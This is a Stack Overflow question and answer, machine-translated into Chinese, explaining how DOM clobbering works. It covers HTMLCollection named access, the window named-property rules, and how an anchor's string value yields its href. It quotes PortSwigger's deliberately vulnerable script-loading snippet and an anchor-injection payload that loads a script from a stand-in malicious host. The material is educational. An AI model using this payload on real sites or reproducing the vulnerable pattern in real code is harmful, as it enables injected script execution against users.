我对 DOM Clobbering 的话题有一些疑问:
Portswigger 对此进行了解释:
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
To exploit this vulnerable code, you could inject the following HTML to clobber the someObject reference with an anchor element:
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
As the two anchors use the same ID, the DOM groups them together in a DOM collection. The DOM clobbering vector then overwrites the someObject reference with this DOM collection. A name attribute is used on the last anchor element in order to clobber the url property of the someObject object, which points to an external script.
我的理解是:
id 为
someObject
的 anchor 元素存储在一个类似数组的结构中 - 一个 DOM 集合。通过
var someObject = window.someObject || {};
anchor 元素使用 id 引用 - 一些浏览器将 id 直接存储在窗口对象 (Are IDs for an html element always available from the window object?) 中。然而:
window.someObject || {}
中的对象初始化器( https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer ) 对攻击起什么作用? 这就是控制台所说的:
(也可以在此处找到有关此主题的更多信息:https://medium.com/@shilpybanerjee/dom-clobbering-its-clobbering-time-f8dd5c8fbc4b)
最佳答案
Why does the name attribute override the url property with the URL?
因为
someObject
实际上是一个 HTMLCollection,您可以访问 HTMLCollection
中的命名元素以他们的名义。console.log( document.getElementsByClassName("test").bar );
<div class="test" name="foo"><div><div class="test" name="bar"></div>
What has the DOM collection to do with all this?
注意它们是如何有两个具有相同
id
的元素的。属性?好吧,即使它违反规范,当访问命名元素为 window
时,相同的规范实际上有一个特殊的规则来处理这种情况。的属性:specs
- Otherwise, if objects has only one element, return that element.
- Otherwise return an HTMLCollection rooted at window's associated Document, whose filter matches only named objects of window with the name name. (By definition, these will all be elements.)
我认为只有 Chrome 确实尊重这里的规范,所以在这个浏览器中,如果你通过它的
id
访问一个元素像这样,并且有多个元素具有相同的“d”,你会得到一个 HTMLCollection 而不是一个元素:console.log( window.foo ); // in Chrome [HTMLCollection]
<div id="foo">1</div><div id="foo">2</div>
Does the object initializer in window.someObject || {} (https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer) play any role for the attack?
这只是为了避免
null
万一这个id
没有元素在处理程序触发时,所以它在这里主要是无用的。Last question: Why does
script.src = someObject.url;
extract the href out of the whole anchor element?
因为HTMLAnchorElement.toString()返回
.href
值(value)。
关于javascript - DOM Clobbering 及其工作原理,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/67064756/